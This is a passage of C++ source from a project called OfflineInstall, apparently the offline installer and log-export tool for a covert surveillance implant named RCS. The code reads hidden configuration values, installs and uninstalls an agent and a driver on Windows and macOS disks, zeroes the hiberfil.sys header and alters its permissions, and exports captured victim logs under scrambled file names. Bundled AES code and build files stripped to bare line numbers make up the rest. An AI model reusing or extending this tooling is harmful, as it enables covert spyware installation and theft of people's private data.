163 | if(!GetPrivateProfileString(L"RCS", L"DRIVER64", L"", rcs_info->hdrv64, sizeof(rcs_info->hdrv64)/sizeof(rcs_info->hdrv64[0]), rcs_info->rcs_ini_path)) {
164 | return FALSE;
165 | }
166 | if(!GetPrivateProfileString(L"RCS", L"HSYS", L"", rcs_info->hsys, sizeof(rcs_info->hsys)/sizeof(rcs_info->hsys[0]), rcs_info->rcs_ini_path)) {
167 | return FALSE;
168 | }
169 | if(!GetPrivateProfileString(L"RCS", L"HKEY", L"", scramble_byte, sizeof(scramble_byte)/sizeof(scramble_byte[0]), rcs_info->rcs_ini_path)) {
170 | return FALSE;
171 | }
172 | swscanf_s(scramble_byte, L"%X", &(rcs_info->hscramb));
173 |
174 | if(!GetPrivateProfileString(L"RCS", L"HUID", L"", rcs_info->rcs_name, sizeof(rcs_info->rcs_name)/sizeof(rcs_info->rcs_name[0]), rcs_info->rcs_ini_path)) {
175 | return FALSE;
176 | }
177 |
178 | if(!GetPrivateProfileString(L"RCS", L"FUNC", L"", rcs_info->func_name, sizeof(rcs_info->func_name)/sizeof(rcs_info->func_name[0]), rcs_info->rcs_ini_path)) {
179 | return FALSE;
180 | }
181 |
182 | if(!GetPrivateProfileString(L"RCS", L"SOLD", L"", rcs_info->soldier_name, sizeof(rcs_info->soldier_name)/sizeof(rcs_info->soldier_name[0]), rcs_info->rcs_ini_path)) {
183 | _snwprintf_s(rcs_info->soldier_name, 32, _TRUNCATE, L"NOT-PRESENT");
184 | }
185 |
186 | if(!GetPrivateProfileString(L"RCS", L"MASK", L"", mask_string, sizeof(mask_string)/sizeof(mask_string[0]), rcs_info->rcs_ini_path))
187 | rcs_info->masks = NULL;
188 | else
189 | rcs_info->masks = PopulateMasks(mask_string);
190 |
191 | if(!GetPrivateProfileString(L"RCS", L"HOLDDIR", L"", rcs_info->hdir, sizeof(rcs_info->hdir)/sizeof(rcs_info->hdir[0]), rcs_info->rcs_ini_path))
192 | memcpy(rcs_info->hdir, rcs_info->new_hdir, sizeof(rcs_info->hdir));
193 |
194 | if(!GetPrivateProfileString(L"RCS", L"HOLDREG", L"", rcs_info->old_hreg, sizeof(rcs_info->old_hreg)/sizeof(rcs_info->old_hreg[0]), rcs_info->rcs_ini_path))
195 | memcpy(rcs_info->old_hreg, rcs_info->hreg, sizeof(rcs_info->old_hreg));
196 |
197 | return TRUE;
198 | }
199 |
200 | BOOL RCSInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info)
201 | {
202 | if (os_info->os == WIN_OS)
203 | return WIN_RCSInstall(rcs_info, user_info, os_info);
204 | else if (os_info->os == MAC_OS)
205 | return MAC_RCSInstall(rcs_info, user_info, os_info);
206 | else
207 | return NULL;
208 | }
209 |
210 | BOOL RCSUnInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info)
211 | {
212 | if (os_info->os == WIN_OS)
213 | return WIN_RCSUnInstall(rcs_info, user_info, os_info);
214 | else if (os_info->os == MAC_OS)
215 | return MAC_RCSUnInstall(rcs_info, user_info, os_info);
216 | else
217 | return NULL;
218 | }
219 |
220 | BOOL DriverInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list)
221 | {
222 | if (os_info->os == WIN_OS)
223 | return WIN_DriverInstall(os_info, rcs_info, user_list);
224 | else if (os_info->os == MAC_OS)
225 | return MAC_DriverInstall(os_info, rcs_info, user_list);
226 | else
227 | return NULL;
228 | }
229 |
230 | BOOL DriverUnInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list, DWORD installation_count)
231 | {
232 | if (os_info->os == WIN_OS)
233 | return WIN_DriverUnInstall(os_info, rcs_info, user_list, installation_count);
234 | else if (os_info->os == MAC_OS)
235 | return MAC_DriverUnInstall(os_info, rcs_info, user_list, installation_count);
236 | else
237 | return NULL;
238 | }
239 |
240 | BOOL IsHybernated(os_struct_t *os_info)
241 | {
242 | HANDLE hfile;
243 | WCHAR hyb_path[MAX_PATH];
244 | BYTE buff[4];
245 | DWORD dummy;
246 |
247 | swprintf_s(hyb_path, sizeof(hyb_path)/sizeof(hyb_path[0]), L"%shiberfil.sys", os_info->drive);
248 | hfile = CreateFile(hyb_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
249 | if (hfile == INVALID_HANDLE_VALUE)
250 | return FALSE;
251 |
252 | if (!ReadFile(hfile, buff, 4, &dummy, NULL)) {
253 | CloseHandle(hfile);
254 | return FALSE;
255 | }
256 |
257 | CloseHandle(hfile);
258 |
259 | if (!memcmp(buff, "HIBR", 4) || !memcmp(buff, "hibr", 4) || !memcmp(buff, "WAKE", 4) || !memcmp(buff, "wake", 4))
260 | return TRUE;
261 |
262 | return FALSE;
263 | }
264 |
265 | void InvalidateHybernated(os_struct_t *os_info)
266 | {
267 | HANDLE hfile;
268 | WCHAR hyb_path[MAX_PATH];
269 | BYTE buff[4];
270 | DWORD dummy;
271 |
272 | swprintf_s(hyb_path, sizeof(hyb_path)/sizeof(hyb_path[0]), L"%shiberfil.sys", os_info->drive);
273 | hfile = CreateFile(hyb_path, GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
274 | if (hfile == INVALID_HANDLE_VALUE)
275 | return;
276 |
277 | ZeroMemory(buff, 4);
278 | WriteFile(hfile, buff, 4, &dummy, NULL);
279 | CloseHandle(hfile);
280 | }
281 |
282 | void RestoreHybernationPermissions(os_struct_t *os_info)
283 | {
284 | WCHAR hyb_path[MAX_PATH];
285 |
286 | swprintf_s(hyb_path, sizeof(hyb_path)/sizeof(hyb_path[0]), L"%shiberfil.sys", os_info->drive);
287 | SetFileAttributes(hyb_path, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_ARCHIVE);
288 | }
289 |
290 | void ModifyHybernationPermissions(os_struct_t *os_info)
291 | {
292 | WCHAR hyb_path[MAX_PATH];
293 |
294 | swprintf_s(hyb_path, sizeof(hyb_path)/sizeof(hyb_path[0]), L"%shiberfil.sys", os_info->drive);
295 | SetFileAttributes(hyb_path, FILE_ATTRIBUTE_NORMAL);
296 | AddAceToObjectsSecurityDescriptor(hyb_path, SE_FILE_OBJECT, L"System", TRUSTEE_IS_NAME, STANDARD_RIGHTS_ALL, GRANT_ACCESS, CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE);
297 | }
298 |
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Template
14 | Win32
15 |
16 |
17 |
18 | {FE5B0F7D-611B-4241-848C-E1FCE92B5B63}
19 | OfflineInstall
20 | MFCProj
21 |
22 |
23 |
24 | Application
25 | Static
26 | Unicode
27 | true
28 |
29 |
30 | Application
31 | Static
32 | Unicode
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 | <_ProjectFileVersion>10.0.30319.1
46 | $(SolutionDir)$(Configuration)\
47 | $(Configuration)\
48 | true
49 | $(SolutionDir)$(Configuration)\
50 | $(Configuration)\
51 | false
52 | AllRules.ruleset
53 |
54 |
55 | AllRules.ruleset
56 |
57 |
58 | AllRules.ruleset
59 |
60 |
61 |
62 |
63 |
64 | _DEBUG;%(PreprocessorDefinitions)
65 | false
66 | true
67 |
68 |
69 | Disabled
70 | WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)
71 | true
72 | EnableFastChecks
73 | MultiThreadedDebug
74 | Use
75 | Level3
76 | EditAndContinue
77 |
78 |
79 | _DEBUG;%(PreprocessorDefinitions)
80 | 0x0409
81 | $(IntDir);%(AdditionalIncludeDirectories)
82 |
83 |
84 | true
85 | Windows
86 | MachineX86
87 |
88 |
89 |
90 |
91 | NDEBUG;%(PreprocessorDefinitions)
92 | false
93 | true
94 |
95 |
96 | MaxSpeed
97 | true
98 | WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)
99 | false
100 | MultiThreaded
101 | true
102 | Use
103 | Level3
104 | ProgramDatabase
105 |
106 |
107 | NDEBUG;%(PreprocessorDefinitions)
108 | 0x0409
109 | $(IntDir);%(AdditionalIncludeDirectories)
110 |
111 |
112 | true
113 | Windows
114 | true
115 | true
116 | MachineX86
117 | advapi32.lib
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 | Create
132 | Create
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.vcproj:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
15 |
16 |
17 |
18 |
19 |
27 |
30 |
33 |
36 |
39 |
45 |
56 |
59 |
65 |
68 |
75 |
78 |
81 |
84 |
87 |
90 |
93 |
96 |
97 |
106 |
109 |
112 |
115 |
118 |
124 |
136 |
139 |
145 |
148 |
157 |
160 |
163 |
166 |
169 |
172 |
175 |
178 |
179 |
180 |
181 |
182 |
183 |
188 |
191 |
192 |
195 |
196 |
199 |
200 |
203 |
204 |
207 |
208 |
211 |
212 |
215 |
216 |
219 |
222 |
226 |
227 |
230 |
234 |
235 |
236 |
239 |
242 |
243 |
246 |
247 |
250 |
251 |
254 |
255 |
256 |
259 |
262 |
263 |
266 |
267 |
270 |
271 |
272 |
273 |
278 |
281 |
282 |
285 |
286 |
289 |
290 |
293 |
294 |
297 |
298 |
301 |
302 |
305 |
306 |
309 |
310 |
313 |
314 |
317 |
318 |
321 |
324 |
325 |
328 |
329 |
332 |
333 |
336 |
337 |
338 |
341 |
344 |
345 |
348 |
349 |
352 |
353 |
354 |
355 |
360 |
363 |
364 |
367 |
368 |
371 |
372 |
375 |
376 |
379 |
380 |
383 |
384 |
387 |
388 |
391 |
392 |
395 |
396 |
399 |
400 |
403 |
404 |
407 |
408 |
411 |
412 |
415 |
416 |
419 |
420 |
423 |
424 |
427 |
428 |
431 |
432 |
435 |
436 |
439 |
440 |
443 |
444 |
447 |
448 |
451 |
452 |
455 |
456 |
459 |
460 |
463 |
464 |
467 |
468 |
471 |
472 |
475 |
476 |
479 |
480 |
483 |
484 |
487 |
488 |
491 |
492 |
495 |
496 |
499 |
500 |
503 |
504 |
507 |
508 |
511 |
512 |
513 |
516 |
517 |
520 |
521 |
522 |
523 |
527 |
528 |
529 |
--------------------------------------------------------------------------------
/OfflineInstall/LogExport.cpp:
--------------------------------------------------------------------------------
1 | // LogExport.cpp : implementation file
2 | //
3 |
4 | #include "stdafx.h"
5 | #include "OfflineInstall.h"
6 | #include "DumpFiles.h"
7 | #include "LogExport.h"
8 | #define PBCLOSE_WINDOW WM_USER+10
9 |
10 |
11 | // LogExport dialog
12 |
13 | IMPLEMENT_DYNAMIC(LogExport, CDialog)
14 |
15 | LogExport::LogExport(CWnd* pParent /*=NULL*/)
16 | : CDialog(LogExport::IDD, pParent),
17 | m_user_name(NULL),
18 | m_user_hash(NULL),
19 | m_computer_name(NULL),
20 | m_src_path(NULL),
21 | m_dest_drive(NULL)
22 | , m_progress_text(_T(""))
23 | {
24 |
25 | }
26 |
27 | LogExport::~LogExport()
28 | {
29 | SAFE_FREE(m_user_name);
30 | SAFE_FREE(m_user_hash);
31 | SAFE_FREE(m_computer_name);
32 | SAFE_FREE(m_src_path);
33 | SAFE_FREE(m_dest_drive);
34 | }
35 |
36 | DWORD ExportThread(LogExport *export_class)
37 | {
38 | // Lancia la funzione di retrieve
39 | export_class->m_success = export_class->OfflineRetrieve();
40 | // Distrugge la dialog
41 | export_class->PostMessageW(PBCLOSE_WINDOW);
42 | return 0;
43 | }
44 |
45 | // Effettua lo scrambling e il descrimbling di una stringa
46 | // Ricordarsi di liberare la memoria allocata
47 | // E' Thread SAFE
48 | #define ALPHABET_LEN 64
49 | char *LogExport::LOG_ScrambleName(char *string, BYTE scramble, BOOL crypt)
50 | {
51 | char alphabet[ALPHABET_LEN]={'_','B','q','w','H','a','F','8','T','k','K','D','M',
52 | 'f','O','z','Q','A','S','x','4','V','u','X','d','Z',
53 | 'i','b','U','I','e','y','l','J','W','h','j','0','m',
54 | '5','o','2','E','r','L','t','6','v','G','R','N','9',
55 | 's','Y','1','n','3','P','p','c','7','g','-','C'};
56 | char *ret_string;
57 | DWORD i,j;
58 |
59 | if ( !(ret_string = _strdup(string)) )
60 | return NULL;
61 |
62 | // Evita di lasciare i nomi originali anche se il byte e' 0
63 | scramble%=ALPHABET_LEN;
64 | if (scramble == 0)
65 | scramble = 1;
66 |
67 | for (i=0; ret_string[i]; i++) {
68 | for (j=0; jrcs_name, file_time.dwHighDateTime, file_time.dwLowDateTime);
266 | if (!CreateDirectory(dest_path, NULL))
267 | return FALSE;
268 |
269 | // Crea il file con le info dell'utente
270 | swprintf_s(clear_path, sizeof(clear_path)/sizeof(clear_path[0]), L"%s\\offline.ini", dest_path);
271 | PrepareIniFile(clear_path);
272 | if (!WritePrivateProfileStringW(L"OFFLINE", L"USERID", user_name, clear_path))
273 | return FALSE;
274 | if (!WritePrivateProfileStringW(L"OFFLINE", L"DEVICEID", computer_name, clear_path))
275 | return FALSE;
276 | if (!WritePrivateProfileStringW(L"OFFLINE", L"FACTORY", rcs_info->rcs_name, clear_path))
277 | return FALSE;
278 | if (!WritePrivateProfileStringW(L"OFFLINE", L"INSTANCE", user_hash, clear_path))
279 | return FALSE;
280 |
281 | if (os_type == WIN_OS) {
282 | if (!WritePrivateProfileStringW(L"OFFLINE", L"PLATFORM", L"WINDOWS", clear_path))
283 | return FALSE;
284 | } else if (os_type == MAC_OS) {
285 | if (!WritePrivateProfileStringW(L"OFFLINE", L"PLATFORM", L"MACOS", clear_path))
286 | return FALSE;
287 | } else {
288 | if (!WritePrivateProfileStringW(L"OFFLINE", L"PLATFORM", L"UNKNOWN", clear_path))
289 | return FALSE;
290 | }
291 |
292 | // Setta la data dell'export
293 | LARGE_INTEGER li_time, li_bias;
294 | FILETIME ft;
295 | SYSTEMTIME st;
296 | WCHAR wchar_date[128];
297 | GetLocalTime(&st);
298 | SystemTimeToFileTime(&st, &ft);
299 | li_time.HighPart = ft.dwHighDateTime;
300 | li_time.LowPart = ft.dwLowDateTime;
301 | li_bias.QuadPart = (int)time_bias;
302 | li_bias.QuadPart *= (60*1000*1000*10);
303 | li_time.QuadPart += li_bias.QuadPart;
304 |
305 | swprintf_s(wchar_date, sizeof(wchar_date)/sizeof(wchar_date[0]), L"%.8X.%.8X", li_time.HighPart, li_time.LowPart);
306 | if (!WritePrivateProfileStringW(L"OFFLINE", L"SYNCTIME", wchar_date, clear_path))
307 | return FALSE;
308 |
309 | ExploreDirectoryAndCapture(src_path, 100, rcs_info->masks, dest_path);
310 | return TRUE;
311 | }
312 |
313 | void LogExport::DoDataExchange(CDataExchange* pDX)
314 | {
315 | CDialog::DoDataExchange(pDX);
316 | DDX_Control(pDX, IDC_PROGRESS1, m_progress);
317 | DDX_Text(pDX, IDC_EDIT1, m_progress_text);
318 | }
319 |
320 |
321 | BEGIN_MESSAGE_MAP(LogExport, CDialog)
322 | ON_MESSAGE(PBCLOSE_WINDOW, OnThreadEnd)
323 | END_MESSAGE_MAP()
324 |
325 |
326 | // LogExport message handlers
327 | BOOL LogExport::OnInitDialog()
328 | {
329 | CDialog::OnInitDialog();
330 |
331 | // Lancia il thread che fara' il retrieve
332 | CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ExportThread, this, NULL, NULL);
333 |
334 | return TRUE;
335 | }
336 |
337 | afx_msg LRESULT LogExport::OnThreadEnd(WPARAM wParam, LPARAM lParam)
338 | {
339 | OnOK();
340 | return 0;
341 | }
--------------------------------------------------------------------------------
/OfflineInstall/aes_alg.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include
3 | #include "aes_alg.h"
4 |
5 | #ifndef uint8
6 | #define uint8 unsigned char
7 | #endif
8 |
9 | #ifndef uint32
10 | #define uint32 unsigned long
11 | #endif
12 |
13 | /*
14 | * 32-bit integer manipulation macros (big endian)
15 | */
16 | #ifndef GET_UINT32_BE
17 | #define GET_UINT32_BE(n,b,i) \
18 | { \
19 | (n) = ( (uint32) (b)[(i) ] << 24 ) \
20 | | ( (uint32) (b)[(i) + 1] << 16 ) \
21 | | ( (uint32) (b)[(i) + 2] << 8 ) \
22 | | ( (uint32) (b)[(i) + 3] ); \
23 | }
24 | #endif
25 | #ifndef PUT_UINT32_BE
26 | #define PUT_UINT32_BE(n,b,i) \
27 | { \
28 | (b)[(i) ] = (uint8) ( (n) >> 24 ); \
29 | (b)[(i) + 1] = (uint8) ( (n) >> 16 ); \
30 | (b)[(i) + 2] = (uint8) ( (n) >> 8 ); \
31 | (b)[(i) + 3] = (uint8) ( (n) ); \
32 | }
33 | #endif
34 |
35 | /*
36 | * Uncomment the following line to use pre-computed tables,
37 | * otherwise the tables will be generated at the first run.
38 | */
39 | #define FIXED_TABLES
40 |
41 | #if !defined(FIXED_TABLES)
42 |
43 | /*
44 | * Forward S-box & tables
45 | */
46 | static uint8 FSb[256];
47 | static uint32 FT0[256];
48 | static uint32 FT1[256];
49 | static uint32 FT2[256];
50 | static uint32 FT3[256];
51 |
52 | /*
53 | * Reverse S-box & tables
54 | */
55 | static uint8 RSb[256];
56 | static uint32 RT0[256];
57 | static uint32 RT1[256];
58 | static uint32 RT2[256];
59 | static uint32 RT3[256];
60 |
61 | /*
62 | * Round constants
63 | */
64 | static uint32 RCON[10];
65 |
66 | /*
67 | * Tables generation code
68 | */
69 | #define ROTR8(x) ( ( ( x << 24 ) & 0xFFFFFFFF ) | \
70 | ( ( x & 0xFFFFFFFF ) >> 8 ) )
71 | #define XTIME(x) ( ( x << 1 ) ^ ( ( x & 0x80 ) ? 0x1B : 0x00 ) )
72 | #define MUL(x,y) ( ( x && y ) ? pow[(log[x] + log[y]) % 255] : 0 )
73 |
74 | static void aes_gen_tables( void )
75 | {
76 | int i;
77 | uint8 x, y;
78 | uint8 pow[256];
79 | uint8 log[256];
80 |
81 | /*
82 | * compute pow and log tables over GF(2^8)
83 | */
84 | for( i = 0, x = 1; i < 256; i++, x ^= XTIME( x ) )
85 | {
86 | pow[i] = x;
87 | log[x] = i;
88 | }
89 |
90 | /*
91 | * calculate the round constants
92 | */
93 | for( i = 0, x = 1; i < 10; i++, x = XTIME( x ) )
94 | {
95 | RCON[i] = (uint32) x << 24;
96 | }
97 |
98 | /*
99 | * generate the forward and reverse S-boxes
100 | */
101 | FSb[0x00] = 0x63;
102 | RSb[0x63] = 0x00;
103 |
104 | for( i = 1; i < 256; i++ )
105 | {
106 | x = pow[255 - log[i]];
107 |
108 | y = x; y = ( y << 1 ) | ( y >> 7 );
109 | x ^= y; y = ( y << 1 ) | ( y >> 7 );
110 | x ^= y; y = ( y << 1 ) | ( y >> 7 );
111 | x ^= y; y = ( y << 1 ) | ( y >> 7 );
112 | x ^= y ^ 0x63;
113 |
114 | FSb[i] = x;
115 | RSb[x] = i;
116 | }
117 |
118 | /*
119 | * generate the forward and reverse tables
120 | */
121 | for( i = 0; i < 256; i++ )
122 | {
123 | x = FSb[i]; y = XTIME( x );
124 |
125 | FT0[i] = (uint32) ( x ^ y ) ^
126 | ( (uint32) x << 8 ) ^
127 | ( (uint32) x << 16 ) ^
128 | ( (uint32) y << 24 );
129 |
130 | FT0[i] &= 0xFFFFFFFF;
131 |
132 | FT1[i] = ROTR8( FT0[i] );
133 | FT2[i] = ROTR8( FT1[i] );
134 | FT3[i] = ROTR8( FT2[i] );
135 |
136 | y = RSb[i];
137 |
138 | RT0[i] = ( (uint32) MUL( 0x0B, y ) ) ^
139 | ( (uint32) MUL( 0x0D, y ) << 8 ) ^
140 | ( (uint32) MUL( 0x09, y ) << 16 ) ^
141 | ( (uint32) MUL( 0x0E, y ) << 24 );
142 |
143 | RT0[i] &= 0xFFFFFFFF;
144 |
145 | RT1[i] = ROTR8( RT0[i] );
146 | RT2[i] = ROTR8( RT1[i] );
147 | RT3[i] = ROTR8( RT2[i] );
148 | }
149 | }
150 |
151 | #else
152 |
153 | /*
154 | * Forward S-box
155 | */
156 | static const uint8 FSb[256] =
157 | {
158 | 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5,
159 | 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
160 | 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,
161 | 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
162 | 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
163 | 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
164 | 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A,
165 | 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
166 | 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0,
167 | 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
168 | 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B,
169 | 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
170 | 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85,
171 | 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
172 | 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
173 | 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
174 | 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17,
175 | 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
176 | 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88,
177 | 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
178 | 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C,
179 | 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
180 | 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9,
181 | 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
182 | 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
183 | 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
184 | 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E,
185 | 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
186 | 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94,
187 | 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
188 | 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68,
189 | 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
190 | };
191 |
192 | /*
193 | * Forward tables
194 | */
195 | #define FT \
196 | \
197 | V(C6,63,63,A5), V(F8,7C,7C,84), V(EE,77,77,99), V(F6,7B,7B,8D), \
198 | V(FF,F2,F2,0D), V(D6,6B,6B,BD), V(DE,6F,6F,B1), V(91,C5,C5,54), \
199 | V(60,30,30,50), V(02,01,01,03), V(CE,67,67,A9), V(56,2B,2B,7D), \
200 | V(E7,FE,FE,19), V(B5,D7,D7,62), V(4D,AB,AB,E6), V(EC,76,76,9A), \
201 | V(8F,CA,CA,45), V(1F,82,82,9D), V(89,C9,C9,40), V(FA,7D,7D,87), \
202 | V(EF,FA,FA,15), V(B2,59,59,EB), V(8E,47,47,C9), V(FB,F0,F0,0B), \
203 | V(41,AD,AD,EC), V(B3,D4,D4,67), V(5F,A2,A2,FD), V(45,AF,AF,EA), \
204 | V(23,9C,9C,BF), V(53,A4,A4,F7), V(E4,72,72,96), V(9B,C0,C0,5B), \
205 | V(75,B7,B7,C2), V(E1,FD,FD,1C), V(3D,93,93,AE), V(4C,26,26,6A), \
206 | V(6C,36,36,5A), V(7E,3F,3F,41), V(F5,F7,F7,02), V(83,CC,CC,4F), \
207 | V(68,34,34,5C), V(51,A5,A5,F4), V(D1,E5,E5,34), V(F9,F1,F1,08), \
208 | V(E2,71,71,93), V(AB,D8,D8,73), V(62,31,31,53), V(2A,15,15,3F), \
209 | V(08,04,04,0C), V(95,C7,C7,52), V(46,23,23,65), V(9D,C3,C3,5E), \
210 | V(30,18,18,28), V(37,96,96,A1), V(0A,05,05,0F), V(2F,9A,9A,B5), \
211 | V(0E,07,07,09), V(24,12,12,36), V(1B,80,80,9B), V(DF,E2,E2,3D), \
212 | V(CD,EB,EB,26), V(4E,27,27,69), V(7F,B2,B2,CD), V(EA,75,75,9F), \
213 | V(12,09,09,1B), V(1D,83,83,9E), V(58,2C,2C,74), V(34,1A,1A,2E), \
214 | V(36,1B,1B,2D), V(DC,6E,6E,B2), V(B4,5A,5A,EE), V(5B,A0,A0,FB), \
215 | V(A4,52,52,F6), V(76,3B,3B,4D), V(B7,D6,D6,61), V(7D,B3,B3,CE), \
216 | V(52,29,29,7B), V(DD,E3,E3,3E), V(5E,2F,2F,71), V(13,84,84,97), \
217 | V(A6,53,53,F5), V(B9,D1,D1,68), V(00,00,00,00), V(C1,ED,ED,2C), \
218 | V(40,20,20,60), V(E3,FC,FC,1F), V(79,B1,B1,C8), V(B6,5B,5B,ED), \
219 | V(D4,6A,6A,BE), V(8D,CB,CB,46), V(67,BE,BE,D9), V(72,39,39,4B), \
220 | V(94,4A,4A,DE), V(98,4C,4C,D4), V(B0,58,58,E8), V(85,CF,CF,4A), \
221 | V(BB,D0,D0,6B), V(C5,EF,EF,2A), V(4F,AA,AA,E5), V(ED,FB,FB,16), \
222 | V(86,43,43,C5), V(9A,4D,4D,D7), V(66,33,33,55), V(11,85,85,94), \
223 | V(8A,45,45,CF), V(E9,F9,F9,10), V(04,02,02,06), V(FE,7F,7F,81), \
224 | V(A0,50,50,F0), V(78,3C,3C,44), V(25,9F,9F,BA), V(4B,A8,A8,E3), \
225 | V(A2,51,51,F3), V(5D,A3,A3,FE), V(80,40,40,C0), V(05,8F,8F,8A), \
226 | V(3F,92,92,AD), V(21,9D,9D,BC), V(70,38,38,48), V(F1,F5,F5,04), \
227 | V(63,BC,BC,DF), V(77,B6,B6,C1), V(AF,DA,DA,75), V(42,21,21,63), \
228 | V(20,10,10,30), V(E5,FF,FF,1A), V(FD,F3,F3,0E), V(BF,D2,D2,6D), \
229 | V(81,CD,CD,4C), V(18,0C,0C,14), V(26,13,13,35), V(C3,EC,EC,2F), \
230 | V(BE,5F,5F,E1), V(35,97,97,A2), V(88,44,44,CC), V(2E,17,17,39), \
231 | V(93,C4,C4,57), V(55,A7,A7,F2), V(FC,7E,7E,82), V(7A,3D,3D,47), \
232 | V(C8,64,64,AC), V(BA,5D,5D,E7), V(32,19,19,2B), V(E6,73,73,95), \
233 | V(C0,60,60,A0), V(19,81,81,98), V(9E,4F,4F,D1), V(A3,DC,DC,7F), \
234 | V(44,22,22,66), V(54,2A,2A,7E), V(3B,90,90,AB), V(0B,88,88,83), \
235 | V(8C,46,46,CA), V(C7,EE,EE,29), V(6B,B8,B8,D3), V(28,14,14,3C), \
236 | V(A7,DE,DE,79), V(BC,5E,5E,E2), V(16,0B,0B,1D), V(AD,DB,DB,76), \
237 | V(DB,E0,E0,3B), V(64,32,32,56), V(74,3A,3A,4E), V(14,0A,0A,1E), \
238 | V(92,49,49,DB), V(0C,06,06,0A), V(48,24,24,6C), V(B8,5C,5C,E4), \
239 | V(9F,C2,C2,5D), V(BD,D3,D3,6E), V(43,AC,AC,EF), V(C4,62,62,A6), \
240 | V(39,91,91,A8), V(31,95,95,A4), V(D3,E4,E4,37), V(F2,79,79,8B), \
241 | V(D5,E7,E7,32), V(8B,C8,C8,43), V(6E,37,37,59), V(DA,6D,6D,B7), \
242 | V(01,8D,8D,8C), V(B1,D5,D5,64), V(9C,4E,4E,D2), V(49,A9,A9,E0), \
243 | V(D8,6C,6C,B4), V(AC,56,56,FA), V(F3,F4,F4,07), V(CF,EA,EA,25), \
244 | V(CA,65,65,AF), V(F4,7A,7A,8E), V(47,AE,AE,E9), V(10,08,08,18), \
245 | V(6F,BA,BA,D5), V(F0,78,78,88), V(4A,25,25,6F), V(5C,2E,2E,72), \
246 | V(38,1C,1C,24), V(57,A6,A6,F1), V(73,B4,B4,C7), V(97,C6,C6,51), \
247 | V(CB,E8,E8,23), V(A1,DD,DD,7C), V(E8,74,74,9C), V(3E,1F,1F,21), \
248 | V(96,4B,4B,DD), V(61,BD,BD,DC), V(0D,8B,8B,86), V(0F,8A,8A,85), \
